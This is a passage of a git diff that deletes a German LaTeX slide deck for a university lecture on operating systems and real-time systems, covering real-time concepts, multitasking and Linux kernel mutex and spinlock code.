diff --git a/20220314/bs-20220314.pdf b/20220314/bs-20220314.pdf
deleted file mode 100644
index d133587d7a6962e4eb71d9a5beb2fb30415dd207..0000000000000000000000000000000000000000
Binary files a/20220314/bs-20220314.pdf and /dev/null differ
diff --git a/20220314/bs-20220314.tex b/20220314/bs-20220314.tex
deleted file mode 100644
index 9a6c5337d74db090b47aa25f3bb1c728a3fa079b..0000000000000000000000000000000000000000
--- a/20220314/bs-20220314.tex
+++ /dev/null
@@ -1,1584 +0,0 @@
-% bs-20220314.pdf - Lecture Slides on Operating Systems
-% Copyright (C) 2014, 2015, 2016, 2017, 2018, 2019, 2020, 2021, 2022  Peter Gerwinski
-%
-% This document is free software: you can redistribute it and/or
-% modify it either under the terms of the Creative Commons
-% Attribution-ShareAlike 3.0 License, or under the terms of the
-% GNU General Public License as published by the Free Software
-% Foundation, either version 3 of the License, or (at your option)
-% any later version.
-%
-% This document is distributed in the hope that it will be useful,
-% but WITHOUT ANY WARRANTY; without even the implied warranty of
-% MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-% GNU General Public License for more details.
-%
-% You should have received a copy of the GNU General Public License
-% along with this document.  If not, see <http://www.gnu.org/licenses/>.
-%
-% You should have received a copy of the Creative Commons
-% Attribution-ShareAlike 3.0 Unported License along with this
-% document.  If not, see <http://creativecommons.org/licenses/>.
-
-\documentclass[10pt,t]{beamer}
-
-\usepackage{pgslides}
-\usepackage{rotating}
-\usepackage{pdftricks}
-\usepackage[obeyfamily=false,mathrm=mathsf,textrm=sffamily]{siunitx}
-\usepackage{eurosym}
-\usepackage{tikz}
-
-\begin{psinputs}
-  \usepackage[latin1]{inputenc}
-  \usepackage[german]{babel}
-  \usepackage[T1]{fontenc}
-  \usepackage{helvet}
-  \renewcommand*\familydefault{\sfdefault}
-  \usepackage{pstricks}
-  \psset{unit=1cm}
-\end{psinputs}
-
-\title{Treiberentwicklung,\\[\medskipamount]Echtzeit- und Betriebssysteme}
-\author{Prof.\ Dr.\ rer.\ nat.\ Peter Gerwinski}
-\date{14.\ März 2022}
-
-\begin{document}
-
-\newlength{\normalpdfpageheight}
-\setlength{\normalpdfpageheight}{\pdfpageheight}
-
-\maketitleframe
-
-\date{\begin{picture}(0,0)
-        \color{red}
-        \put(0.4,1.05){\makebox(0,0)[t]{$\underbrace{\rule{1.45cm}{0pt}}_{%
-          \mbox{\emph{rerum naturalium\/} = der natürlichen Dinge (lat.)}}$}}
-      \end{picture}%
-        14.\ März 2022\kern0.5pt}
-
-\maketitleframe
-
-\author{{\color{gray}Prof.\ Dr.\ rer.\ nat.\ }Peter {\color{gray}Gerwinski}}
-
-\maketitleframe
-
-\sectionnonumber{Vorab: Online-Werkzeuge}
-
-\begin{frame}
-
-  \showsectionnonumber
-  \begin{itemize}
-    \item
-      \textbf{Mumble}: Seminarraum 2\\
-      Fragen: Mikrophon einschalten oder über den Chat\\
-      Umfragen: über den Chat
-    \smallskip
-    \item
-      \textbf{VNC}: Kanal 6, Passwort: \lstinline[style=cmd]{testcvh}\\
-      Eigenen Bildschirm freigeben: per VNC-Server oder Web-Interface\\
-      Kamerabild übertragen: Link zu Web-Interface auf Anfrage
-    \smallskip
-    \item
-      Allgemeine Informationen:
-      \url{https://www.cvh-server.de/online-werkzeuge/}
-    \smallskip
-    \item
-      Notfall-Schnellzugang: \url{https://www.cvh-server.de/virtuelle-raeume/}\\
-      Seminarraum 2, VNC-Passwort: \lstinline[style=cmd]{testcvh}
-    \smallskip
-    \item
-      Bei Problemen: bitte notieren:\\
-      Art des Problems, genaue Uhrzeit, JavaScript-Fehlermeldungen (F12)
-    \bigskip
-    \item
-      GitLab: \url{https://gitlab.cvh-server.de/pgerwinski/bs}\\
-      Links auf die Datei klicken, nicht mittig auf den Kommentar.
-  \end{itemize}
-
-\end{frame}
-
-\sectionnonumber{Treiberentwicklung, Echtzeit- und Betriebssysteme}
-
-%\begin{frame}
-%
-%  \showsectionnonumber
-%
-%  \begin{itemize}
-%    \item[\textbf{1}] \textbf{Einführung}
-%    \item[\textbf{\dots}]
-%  \end{itemize}
-%
-%\end{frame}
-
-\section{Einführung}
-
-\begin{frame}
-
-  \showsection
-
-  Was ist ein Betriebssystem?
-
-  \pause
-  \strut\hfill
-  \begin{picture}(0,0)
-    \put(0,1.5){\makebox(0,0)[tr]{\includegraphics[height=7cm]{Operating_system_placement-de.pdf}}}
-  \end{picture}
-  \begin{itemize}
-    \item
-      Software, die zwischen Hardware\\
-      und Anwendung vermittelt
-    \pause\bigskip
-    \item
-      Mikro-Controller:\\
-      Anwendung greift \emph{direkt\/} auf Hardware zu
-    \pause\bigskip
-    \item
-      Eingebettetes System:\\
-      Anwendung startet automatisch
-    \item
-      Arbeitsplatz-Computer:
-      \newterm{Oberfläche (Shell)}\\
-      Benutzer*in wählt Anwendung aus
-    \pause\bigskip
-    \item
-      Ressourcen-Verwaltung
-  \end{itemize}
-  \pause
-  \begin{picture}(0,0)
-    \put(7.5,6.1){\makebox(0,0)[bl]{\tikz{\draw[line width=1pt] (0,0)--(4.6,1.5);}}}
-    \put(7.5,7.6){\makebox(0,0)[tl]{\tikz{\draw[line width=1pt] (0,0)--(4.6,-1.5);}}}
-    \put(7.8,0.2){\makebox(0,0)[tl]{\tikz{\draw[line width=1pt, rounded corners] (0,0)--(4.1,0)--(4.1,1.2)--(0,1.2)--cycle;}}}
-    \put(9.85,-0.5){\makebox(0,0.1){Benutzer*in}}
-    \put(8.97,0.12){\makebox(0,0)[bl]{\tikz{\draw[line width=3pt, ->] (0,0)--(0,0.65);}}}
-    \put(10.63,0.17){\makebox(0,0)[bl]{\tikz{\draw[line width=3pt, ->] (0,0.65)--(0,0);}}}
-  \end{picture}
-
-\end{frame}
-
-\begin{frame}
-
-  \showsection
-
-  Was gehört zum Betriebssystem?
-
-  \strut\hfill
-  \begin{picture}(0,0)
-    \thicklines
-    \put(-3,0){\vector(0,-1){7}}
-    \put(-2.8,-0.5){\makebox(0,0)[l]{Ja, klar!}}
-    \put(-2.8,-6.5){\makebox(0,0)[l]{Hmm\,\dots\ vielleicht.}}
-  \end{picture}
-
-  \begin{itemize}
-    \item
-      Betriebssystemkern: \newterm{Kernel}
-    \item
-      Benutzeroberfläche: \newterm{Shell}\\
-      text- oder grafikorientiert\\
-      (im engeren Sinne: Kommandozeile)
-    \item
-      Werkzeuge zur Verwaltung von Ressourcen\\
-      (z.\,B.\ Festplatten formatieren)
-    \item
-      Graphische Benutzeroberfläche: \newterm{GUI}
-    \item
-      Texteditor
-    \item
-      Entwicklungswerkzeuge (Compiler usw.),\\
-      Skriptsprachen
-    \item
-      Internet-Software: Web-Browser, E-Mail-Client usw.
-    \item
-      Multimedia-Software
-    \item
-      Büro-Anwendungssoftware
-  \end{itemize}
-
-\end{frame}
-
-\begin{frame}
-
-  \showsection
-
-  In dieser Lehrveranstaltung:
-  \begin{itemize}
-    \item
-      Treiberentwicklung\\
-      wie in \emph{Hardwarenahe Programmierung\/} (3./5.\ Sem.), nur "`größer"'
-    \item
-      Echtzeitsysteme\\
-      wie in \emph{Eingebettete Systeme\/} (3./5.\ Sem.), nur "`größer"'
-    \item
-      neu: Betriebssysteme
-  \end{itemize}
-
-  \pause
-  \medskip
-
-  Statt Klausur: Projektaufgabe, z.\,B.:
-  \begin{itemize}
-    \item
-      neuartiger Treiber (z.\,B.\ für neuartige Hardware)
-    \item
-      neuartige Echtzeit-Funktionalität
-      \begin{onlyenv}<3->
-        \begin{picture}(0,0)
-          \color{red}
-          \put(0.3,0.25){\makebox(0,0)[tl]{\begin{minipage}{6.2cm}
-              speziell:
-              \begin{itemize}
-                \color{red}
-                \item[\color{red}--]
-                  Echtzeitkommunikation\\
-                  für Home-Office und Online-Lehre
-                \item[\color{red}--]
-                  Treiber und Echtzeitkommunikation\\
-                  für freies Smartphone
-              \end{itemize}
-            \end{minipage}}}
-        \end{picture}%
-      \end{onlyenv}%
-    \item
-      Sonstiges
-  \end{itemize}
-
-  \pause
-  \pause
-  \medskip
-
-  Wiederholung:
-  \begin{itemize}
-    \item
-      Unix
-    \item
-      Hardwarenahe Programmierung
-    \item
-      Theorie der Echtzeit-Systeme
-    \item[\textbf{?}]
-      Sonstiges
-  \end{itemize}
-
-\end{frame}
-
-\iffalse
-
-\begin{frame}
-  {\tiny\color{gray}Diese Folie wurde weitgehend absichtlich leer gelassen.}
-\end{frame}
-
-\section{Der Bootvorgang}
-
-\begin{frame}
-
-  \showsection
-
-  \begin{itemize}
-    \item
-      Rechner einschalten\\
-      \textarrow\ Programm im Festspeicher (ROM) startet
-    \item
-      Mikro-Controller: Das war's schon.\\
-      Arbeitsplatzrechner: Weiter geht's.
-    \item
-      Programm spricht Datenträger an,\\
-      lädt und startet größeres Programm,\\
-      kann mehr Datenträger ansprechen
-    \item
-      größeres Programm lädt noch größeres Programm
-    \item
-      \dots
-    \item
-      Zuletzt: Programm starten, das mit dem Benutzer interagiert
-    \bigskip
-    \item
-      abstraktes Beispiel: Bootloader, Kernel, Anmelde-Prozeß
-    \item
-      konkretes Beispiel: Linux\\
-      GRUB-Stages, Kernel mit initrd, init, getty und/oder Display-Manager
-  \end{itemize}
-
-\end{frame}
-
-\setcounter{section}{3}
-\section{Echtzeit}
-\subsection{Was ist Echtzeit?}
-
-\begin{frame}
-
-  \showsection
-  \vspace{-\smallskipamount}
-  \showsubsection
-
-  \begin{itemize}
-    \item
-      Animation in Echtzeit:\\
-      schnelle Berechnung anstatt Wiedergabe einer Aufzeichnung
-    \item
-      Fantasy-Rollenspiel in Echtzeit:\\
-      Der Zeitverlauf der Spielwelt entspricht dem der realen Welt.
-    \item
-      Datenverarbeitung in Echtzeit:\\
-      Die Daten werden so schnell verarbeitet, wie sie anfallen.
-    \item
-      speziell: Echtzeit-Steuerung von Maschinen:\\
-      Die Berechnung kann mit den physikalischen Vorgängen schritthalten.
-    \smallskip
-    \arrowitem
-      "`Schnell genug."'
-  \end{itemize}
-  
-\end{frame}
-
-\begin{frame}
-
-  \showsubsection
-
-  "`Schnell genug."' -- "`Und wenn nicht?"'
-
-  \begin{itemize}
-    \item
-      "`Ganz schlecht."' \textarrow\ \newterm{harte Echtzeit}\\[2pt]
-    rechtzeitiges Ergebnis funktionsentscheidend
-
-    \smallskip
-
-    \item
-      "`Unschön."' \textarrow\ \newterm{weiche Echtzeit}\\[2pt]
-      verspätetes Ergebnis qualitätsmindernd
-      \begin{itemize}
-        \baselineskip14pt\par
-        \item
-          verwenden und Verzögerung in Kauf nehmen
-        \item
-          verwerfen und Ausfall in Kauf nehmen
-      \end{itemize}
-
-    \smallskip
-
-    \item
-      "`Es gibt keinen festen Termin. Möglichst schnell halt."'\\[2pt]
-      \textarrow\ \newterm{keine Echtzeit}
-  \end{itemize}
-
-\end{frame}
-
-\begin{frame}[fragile]
-
-  \showsubsection
-
-  Das Problem:
-  \vspace{-\bigskipamount}
-  \begin{center}
-%    \begin{picture}(6,2)
-%      \put(3,2){\makebox(0,0)[t]{Harte Echtzeitanforderungen}}
-%      \put(3,0){\makebox(0,0)[b]{Ressourcen optimal nutzen}}
-%      \put(2.75,0.875){\vector(1,3){0.25}}
-%      \put(2.75,0.875){\line(2,1){0.5}}
-%      \put(3.25,1.125){\vector(-1,-3){0.25}}
-%    \end{picture}
-    \begin{pdfpic}
-      \begin{pspicture}(6,2)
-        \put(3,2){\makebox(0,0)[t]{Harte Echtzeitanforderungen}}
-        \put(3,0){\makebox(0,0)[b]{Ressourcen optimal nutzen}}
-        \psline[arrows=<->](3,0.4)(3.2,1.125)(2.8,0.875)(3,1.6)
-      \end{pspicture}
-    \end{pdfpic}
-  \end{center}
-
-  Beispiel:
-  \begin{itemize}
-    \item
-      Eine Motorsteuerung benötigt alle \SI{2000}{\mics} einen Steuerimpuls,\\
-      dessen Berechnung maximal \SI{10}{\mics} dauert.
-    \item
-      Entweder: Der Steuer-Computer macht noch andere Dinge.\\
-      \textarrow\ Risiko der Zeitüberschreitung
-    \item
-      Oder: Der Steuer-Computer macht nichts anderes.\\
-      \textarrow\ Verschwendung von Rechenzeit\\
-      {\color{red}\textarrow\ Na und?}
-  \end{itemize}
-
-\end{frame}
-
-\begin{frame}[fragile]
-
-  \showsubsection
-
-  Das Problem:
-  \vspace{-\bigskipamount}
-  \begin{center}
-    \begin{pdfpic}
-      \begin{pspicture}(6,2)
-        \put(3,2){\makebox(0,0)[t]{Harte Echtzeitanforderungen}}
-        \put(3,0){\makebox(0,0)[b]{Ressourcen optimal nutzen}}
-        \psline[arrows=<->](3,0.4)(3.2,1.125)(2.8,0.875)(3,1.6)
-      \end{pspicture}
-    \end{pdfpic}
-  \end{center}
-
-  \medskip
-
-  {\large\color{structure}\textbf{"`Verschwendung von Rechenzeit -- na und?"'}}
-
-  \medskip
-
-  Große Stückzahlen
-  \begin{itemize}
-    \item
-      138\,000 Toyota Prius V von Mai 2011 bis April 2012
-  \end{itemize}
-
-  \medskip
-
-  Wertvolle Ressourcen
-  \begin{itemize}
-    \item
-      Fähigkeiten einer Raumsonde optimieren
-      % (Marsumlaufbahn: ab ca.~127\,000 Euro pro kg)
-      % 70000000 / 550000 = 127._27
-      % http://www.bernd-leitenberger.de/blog/2009/09/29/reduktion-der-kosten-von-planetenmissionen/
-      % \only<.(1)>{\\[\bigskipamount]\strut\hfill\makebox(0,0)[r]{\includegraphics[height=3.5cm]{curiosity.jpg}}\vspace*{-1cm}}
-    \item
-      Implantat: Platz- und Stromverbrauch minimieren
-      % \only<.(1)>{\\[\smallskipamount]\strut\hfill\makebox(0,0)[r]{\includegraphics[height=3.4cm]{herzschrittmacher.jpg}}\vspace*{-1cm}}
-  \end{itemize}
-
-  \bigskip
-
-  \textarrow\ {\large\color{structure}\textbf{Echtzeitprogrammierung}}\\[2pt]
-  \strut \phantom{\textarrow} Echtzeitanforderungen erfüllen, ohne Ressourcen zu verschwenden
-
-\end{frame}
-
-\subsection{Multitasking}
-
-\begin{frame}
-
-  \showsection
-  \showsubsection
-
-  \begin{minipage}[t]{6cm}
-    Qualitätssicherung beim Multitasking
-    \begin{itemize}
-      \item
-        Verschiedene Anforderungen:
-        \newterm{Latenz\/} vs.\ \newterm{Jitter\/}\\
-        vs.\ \newterm{Durchsatz}
-      \item
-        Ressourcen reservieren:\\
-        \newterm{Mutexe}
-        (= spezielle \newterm{Semaphore\/})\\
-        \strut
-      \item
-        Verschiedene Methoden\\
-        der Priorisierung\\
-        \strut
-      \item
-        Umgehung der Probleme durch
-        speziell geschriebene Software\\
-        (MultiWii, RP6, \dots)
-    \end{itemize}
-  \end{minipage}
-  \hfill
-  \begin{minipage}[t]{6.2cm}
-    Qualitätssicherung für Netzwerke:
-    \begin{itemize}
-      \item
-        Verschiedene Anforderungen:
-        \newterm{Latenz\/} vs.\ \newterm{Jitter\/} vs.\ \newterm{Verluste\/}\\vs.\ \newterm{Durchsatz}
-      \item
-        Ressourcen reservieren:\\
-        \newterm{IntServ} mit \newterm{Resource Reservation Protocol (RSVP)}
-      \item
-        Klassifizierung und Priorisierung:
-        \newterm{DiffServ} mit Type-of-Service-Bits (IPv4)
-        bzw.\ Traffic-Class-Bits (IPv6) im IP-Header
-      \item
-        Eigenes Protokoll (Telefondienste):\\
-        \newterm{Asynchronous Transfer Mode (ATM)}
-    \end{itemize}
-  \end{minipage}
-
-\end{frame}
-
-% Aufgabe: Anwendungsarten im MultiWii- und RP6-Code identifizieren
-
-% evtl. Aufgabe: Warte-Problem
-
-% Aufgabe: Wie lösen bekannte Multitasking-Betriebssysteme
-% das o.a. Zuteilungsproblem?
-
-% Danach: Semaphoren, Mutexe, Spinlocks
-% Priorisierungsmethoden und -probleme
-
-\subsectionnonumber{Beispiele für Multitasking}
-
-\begin{frame}
-
-  \showsubsectionnonumber
-
-  Quadrocopter-Steuerung \emph{MultiWii}
-  \begin{itemize}
-    \item
-      Konfiguration durch bedingte Compilierung (Präprozessor)
-    \item
-      In der Hauptschleife wird 50mal pro Sekunde der RC-Task aufgerufen,\\
-      ansonsten zyklisch einer von bis zu 5 weiteren Tasks.
-  \end{itemize}
-
-  RP6-Steuerung
-  \begin{itemize}
-    \item
-      Konfiguration durch bedingte Compilierung (Präprozessor)
-    \item
-      Lichtschranken an Encoder-Scheiben lösen bei Bewegung Interrupts aus.\\
-      Die Interrupt-Handler zählen Variable hoch.
-    \item
-      10000mal pro Sekunde: Timer-Interrupt\\
-      verschiedene Tasks werden unterschiedlich häufig aufgerufen
-    \item
-      Nebenbei: 1 Benutzerprogramm
-  \end{itemize}
-
-  Linux 0.01
-  \begin{itemize}
-    \item
-      Timer-Interrupt:\only<2->{ Zähler des aktuellen Tasks wird dekrementiert;}\\
-      Task mit höchstem Zähler bekommt Rechenzeit.
-    \item
-      Wenn es keinen laufbereiten Task mit positivem Zähler gibt,\\
-      bekommen alle Tasks gemäß ihrer Priorität neue Zähler zugewiesen.
-    \item<3->
-      \emph{keine\/} harte Echtzeit
-      % Aufgabe: Wo wird der Zähler heruntergezählt?
-  \end{itemize}
-
-\end{frame}
-
-\iffalse
-
-\subsectionnonumber{Zombies}
-
-\begin{frame}
-
-  \showsubsectionnonumber
-
-  \pause
-  Wikipedia:
-  \begin{quote}
-    Als Zombie wird die fiktive Figur eines zum Leben erweckten
-    Toten (Untoter) oder eines seiner Seele beraubten, willenlosen
-    Wesens bezeichnet. Der Begriff leitet sich von dem Wort nzùmbe
-    aus der zentralafrikanischen Sprache Kimbundu ab und bezeichnet
-    dort ursprünglich einen Totengeist.
-  \end{quote}
-
-  \bigskip
-
-  \pause
-  Ein Zombie-Prozeß ist bereits beendet ("`tot"'),\\
-  bekommt keine Rechenzeit mehr ("`seiner Seele beraubt"'),\\
-  hat alle belegten Ressourcen wieder freigegeben ("`willenlos"'),\\
-  wird aber noch in der Prozeßliste geführt ("`untot"').
-  \begin{itemize}
-    \pause
-    \item
-      Warum?
-      \textarrow\
-      Ein anderer Prozeß (Elternprozeß) wartet noch auf den
-      Rückgabewert des beendeten Prozesses.
-    \pause
-    \item
-      Schadet das?
-      \textarrow\
-      Nein.
-    \pause
-    \item
-      Aber?
-      \textarrow\
-      Wenn sich Zombie-Prozesse anhäufen, deutet dies auf einen
-      Prozeß hin, der andere Prozesse erzeugt und anschließend "`hängt"'.
-    \pause
-    \item
-      Beispiel:
-      Datenträger entfernt, zugreifender Prozeß "`hängt"'.\\
-      \textarrow\
-      Tochterprozesse werden zu Zombies.
-  \end{itemize}
-
-\end{frame}
-
-\fi
-
-\subsection{Ressourcen}
-
-\begin{frame}
-
-  \showsection
-  \showsubsection
-
-  Ressourcen reservieren
-  \begin{itemize}
-    \item
-      \newterm{Semaphor}\\
-      gemeinsame Variable mehrerer Prozesse\\
-      zur Regelung des Zugriffs auf eine Ressource\\[\smallskipamount]
-      Ressource belegt \textarrow\ Kontextwechsel
-      \begin{onlyenv}<1>
-        \par\medskip
-        griechisch: \emph{sema\/} -- Zeichen, \emph{pherein\/} -- tragen\\
-        "`Eisenbahnsignal"'
-        \vspace*{-3cm}
-      \end{onlyenv}
-    \pause
-    \medskip
-    \item
-      \newterm{Mutex}\\
-      Mechanismus, damit immer nur ein Prozeß gleichzeitig\\
-      auf eine Ressource zugreifen kann
-      \begin{onlyenv}<2>
-        \par\medskip
-        englisch: \emph{mutual exclusion\/} -- wechselseitiger Ausschluß\\
-        spezieller binärer Semaphor: nur "`Besitzer"' darf freigeben\\
-        % allgemein: auch jemand anderer dürfte freigeben
-        \vspace*{-3cm}
-      \end{onlyenv}
-    \pause
-    \medskip
-    \item
-      \newterm{Spinlock} (\emph{busy waiting\/})\\
-      leichtgewichtige Alternative zu Kontextwechsel
-      \begin{onlyenv}<3>
-        \par\medskip
-        englisch: \emph{spin\/} -- rotieren, \emph{lock\/} Sperre\\
-        \emph{busy waiting} auf etwas Schnelles, z.\,B.\ auf einen Semaphor\\[\medskipamount]
-        Hardware-Unterstützung:
-        Prüfen, ob Variable bestimmten Wert hat;\\
-        wenn ja, auf anderen Wert setzen; andere Prozessoren solange anhalten
-        \vspace*{-3cm}
-      \end{onlyenv}
-    \pause
-    \medskip
-    \item
-      \newterm{Kritischer Abschnitt -- critical section}\\
-      Programmabschnitt zwischen Reservierung\\
-      und Freigabe einer Ressource\\
-      \textarrow\ sollte immer so kurz wie möglich sein
-      \vspace*{-1cm}
-  \end{itemize}
-
-\end{frame}
-
-\begin{frame}
-
-  \showsection
-  \showsubsection
-
-  Ressourcen reservieren: Beispiele
-  \begin{itemize}
-    \item
-      \newterm{Semaphor}\\
-      \file{linux-3.7-rc1/kernel/semaphor.c}\\
-      \file{linux-3.7-rc1/drivers/usb/core/file.c}
-    \medskip
-    \item
-      \newterm{Mutex}\\
-      \file{linux-3.7-rc1/kernel/mutex.c}\\
-      \file{linux-3.7-rc1/drivers/usb/serial/usb-serial.c}
-    \medskip
-    \item
-      \newterm{Spinlock}\\
-      \file{linux-3.7-rc1/kernel/spinlock.c}\\
-      \file{linux-3.7-rc1/kernel/semaphor.c},
-      \file{linux-3.7-rc1/kernel/mutex.c}
-  \end{itemize}
-
-  % Aufgabe: Anwendungsarten im MultiWii- und RP6-Code identifizieren
-
-  % evtl. Aufgabe: Warte-Problem
-
-  % Aufgabe: Wie lösen bekannte Multitasking-Betriebssysteme
-  % das o.a. Zuteilungsproblem?
-
-  % Danach: Semaphoren, Mutexe, Spinlocks
-  % Priorisierungsmethoden und -probleme
-
-  % Festplatten: completely fair queueing
-  % cat /sys/block/sdc/queue/scheduler
-  % "noop" hat sich für SVG gelohnt
-
-  % Virtualisierung + Kernel-Threads + Multiprozessorsystem = Chaos
-
-\end{frame}
-
-\begin{frame}[fragile]
-
-  \textbf{Beispiel:}
-  \lstinline{usb_serial_get_by_index()} -- serielle Schnittstelle reservieren
-
-  Datei \file{linux-3.7-rc1/drivers/usb/serial/usb-serial.c}, ab Zeile 62
-
-  \medskip
-
-  \begin{lstlisting}
-    struct usb_serial *usb_serial_get_by_index (unsigned index)
-    {
-      struct usb_serial *serial;
-      mutex_lock (&table_lock);
-      serial = serial_table[index];
-      if (serial)
-        {
-          mutex_lock (&serial->disc_mutex);
-          if (serial->disconnected)
-            {
-              mutex_unlock (&serial->disc_mutex);
-              serial = NULL;
-            }
-          else
-            kref_get (&serial->kref);
-        }
-      mutex_unlock (&table_lock);
-      return serial;
-    }
-  \end{lstlisting}
-  \begin{picture}(0,0)
-    \color{red}
-    \put(5.1,6.85){\vector(-1,0){0.5}}
-    \put(5.2,6.85){\makebox(0,0)[l]{exklusiven Zugriff auf Tabelle sichern}}
-    \put(5.4,1.35){\vector(-1,0){0.5}}
-    \put(5.5,1.35){\makebox(0,0)[l]{\shortstack[l]{exklusiven Zugriff auf Tabelle\\wieder freigeben}}}
-  \end{picture}
-
-\end{frame}
-
-\setlength{\pdfpageheight}{48cm}
-
-\begin{frame}[fragile]
-
-  \lstinline{mutex_lock()} -- Ressource beanspruchen, notfalls warten
-
-  Datei \file{linux-3.7-rc1/drivers/usb/serial/usb-serial.c}, ab Zeile 62
-
-  \medskip
-
-  \begin{lstlisting}
-    void __sched mutex_lock (struct mutex *lock)
-    {
-      might_sleep ();
-      __mutex_fastpath_lock (&lock->count, __mutex_lock_slowpath);
-      mutex_set_owner (lock);
-    }
-  \end{lstlisting}
-  \begin{picture}(0,0)
-    \color{red}
-    \put(11.6,1.35){\line(-1,0){1}}
-    \put(11.6,1.35){\line(0,-1){2.45}}
-    \put(11.6,-1.10){\vector(-1,0){2.0}}
-  \end{picture}
-
-  \bigskip
-
-  Datei \file{linux-3.7-rc1/arch/x86/include/asm/mutex\_32.h}, ab Zeile 24
-
-  Macro-Definition für \lstinline{__mutex_fastpath_lock} (expandiert)
-
-  \medskip
-
-  Assembler:
-  \begin{lstlisting}[language={[x86masm]Assembler}]
-        lock dec (lock->count)
-        jns 1
-        call __mutex_lock_slowpath
-    1:
-  \end{lstlisting}
-  \begin{picture}(0,0)
-    \color{red}
-    \put(9,0.95){\line(-1,0){3.5}}
-    \put(9,0.95){\line(0,-1){2.5}}
-    \put(9.0,-1.55){\vector(-1,0){1.0}}
-  \end{picture}
-
-  \bigskip
-
-  Datei \file{linux-3.7-rc1/kernel/mutex.c}, ab Zeile 398
-
-  \medskip
-
-  \begin{lstlisting}
-    static __used noinline void __sched
-      __mutex_lock_slowpath (atomic_t *lock_count)
-    {
-      struct mutex *lock = container_of (lock_count, struct mutex, count);
-      __mutex_lock_common (lock, TASK_UNINTERRUPTIBLE, 0,
-                               NULL, _RET_IP_);
-    }
-  \end{lstlisting}
-  \begin{picture}(0,0)
-    \color{red}
-    \put(11.0,1.40){\line(-1,0){1.0}}
-    \put(11.0,1.40){\vector(0,-1){2.5}}
-  \end{picture}
-
-  \bigskip
-
-  Datei \file{linux-3.7-rc1/kernel/mutex.c}, ab Zeile 132
-
-  \medskip
-
-  \begin{lstlisting}
-    static inline int __sched
-    __mutex_lock_common (struct mutex *lock, long state, unsigned int subclass,
-                             struct lockdep_map *nest_lock, unsigned long ip)
-    {
-      struct task_struct *task = current;
-      struct mutex_waiter waiter;
-      unsigned long flags;
-
-      preempt_disable ();
-      mutex_acquire_nest (&lock->dep_map, subclass, 0, nest_lock, ip);
-
-      /* ... */
-
-      spin_lock_mutex (&lock->wait_lock, flags);
-
-      debug_mutex_lock_common (lock, &waiter);
-      debug_mutex_add_waiter (lock, &waiter, task_thread_info (task));
-
-      /* add waiting tasks to the end of the waitqueue (FIFO): */
-      list_add_tail (&waiter.list, &lock->wait_list);
-      waiter.task = task;
-
-      if (atomic_xchg (&lock->count, -1) == 1)
-        goto done;
-
-      lock_contended (&lock->dep_map, ip);
-
-      for (;;)
-        {
-          /*
-           * Lets try to take the lock again - this is needed even if
-           * we get here for the first time (shortly after failing to
-           * acquire the lock), to make sure that we get a wakeup once
-           * it's unlocked. Later on, if we sleep, this is the
-           * operation that gives us the lock. We xchg it to -1, so
-           * that when we release the lock, we properly wake up the
-           * other waiters:
-           */
-          if (atomic_xchg (&lock->count, -1) == 1)
-            break;
-
-          /*
-           * got a signal? (This code gets eliminated in the
-           * TASK_UNINTERRUPTIBLE case.)
-           */
-          if (unlikely (signal_pending_state (state, task)))
-            {
-              mutex_remove_waiter (lock, &waiter, task_thread_info (task));
-              mutex_release (&lock->dep_map, 1, ip);
-              spin_unlock_mutex (&lock->wait_lock, flags);
-
-              debug_mutex_free_waiter (&waiter);
-              preempt_enable ();
-              return -EINTR;
-            }
-          __set_task_state (task, state);
-
-          /* didn't get the lock, go to sleep: */
-          spin_unlock_mutex (&lock->wait_lock, flags);
-          schedule_preempt_disabled ();
-          spin_lock_mutex (&lock->wait_lock, flags);
-        }
-
-    done:
-      lock_acquired (&lock->dep_map, ip);
-      /* got the lock - rejoice! */
-      mutex_remove_waiter (lock, &waiter, current_thread_info ());
-      mutex_set_owner (lock);
-
-      /* set it to 0 if there are no waiters left: */
-      if (likely (list_empty (&lock->wait_list)))
-        atomic_set (&lock->count, 0);
-
-      spin_unlock_mutex (&lock->wait_lock, flags);
-
-      debug_mutex_free_waiter (&waiter);
-      preempt_enable ();
-
-      return 0;
-    }
-  \end{lstlisting}
-  \begin{picture}(0,0)
-    \color{red}
-    \put(7.9,28.3){\vector(-1,0){0.5}}
-    \put(8.0,28.3){\makebox(0,0)[l]{\shortstack[l]{exklusiven Zugriff\\auf Mutex sichern}}}
-    \put(7.4,2.3){\vector(-1,1){0.4}}
-    \put(7.5,2.0){\makebox(0,0)[l]{\shortstack[l]{exklusiven Zugriff auf Mutex\\wieder freigeben}}}
-  \end{picture}
-
-\end{frame}
-
-\setlength{\pdfpageheight}{40.5cm}
-
-\begin{frame}[fragile]
-
-  \lstinline{spin_lock_mutex()} -- Mutex beanspruchen, notfalls \emph{busy waiting}
-
-  Datei \file{linux-3.7-rc1/kernel/mutex.h}, ab Zeile 12
-
-  \medskip
-
-  \begin{lstlisting}
-    #define spin_lock_mutex(lock, flags) \
-      do \
-        { \
-          spin_lock (lock); \
-          (void) (flags); \
-        } \
-      while (0)
-  \end{lstlisting}
-  \begin{picture}(0,0)
-    \color{red}
-    \put(8.5,1.75){\line(-1,0){4.5}}
-    \put(8.5,1.75){\line(0,-1){2.9}}
-    \put(8.5,-1.15){\vector(-1,0){1.0}}
-  \end{picture}
-
-  \bigskip
-
-  Datei \file{linux-3.7-rc1/kernel/spinlock.h}, ab Zeile 283
-
-  \medskip
-
-  \begin{lstlisting}
-    static inline void spin_lock (spinlock_t *lock)
-    {
-      raw_spin_lock (&lock->rlock);
-    }
-  \end{lstlisting}
-  \begin{picture}(0,0)
-    \color{red}
-    \put(9.3,0.95){\line(-1,0){4.0}}
-    \put(9.3,0.95){\line(0,-1){2.1}}
-    \put(9.3,-1.15){\vector(-1,0){1.0}}
-  \end{picture}
-
-  \bigskip
-
-  Datei \file{linux-3.7-rc1/kernel/spinlock.h}, Zeile 170
-
-  \medskip
-
-  \begin{lstlisting}
-    #define raw_spin_lock(lock)  _raw_spin_lock (lock)
-  \end{lstlisting}
-  \begin{picture}(0,0)
-    \color{red}
-    \put(10.0,0.55){\line(-1,0){0.5}}
-    \put(10.0,0.55){\line(0,-1){1.7}}
-    \put(10.0,-1.15){\vector(-1,0){1.3}}
-  \end{picture}
-
-  \bigskip
-
-  Datei \file{linux-3.7-rc1/include/linux/spinlock\_api\_smp.h}, Zeile 47
-
-  \medskip
-
-  \begin{lstlisting}
-    #define _raw_spin_lock(lock)  __raw_spin_lock (lock)
-  \end{lstlisting}
-  \begin{picture}(0,0)
-    \color{red}
-    \put(10.7,0.55){\line(-1,0){0.5}}
-    \put(10.7,0.55){\line(0,-1){1.75}}
-    \put(10.7,-1.2){\vector(-1,0){2.3}}
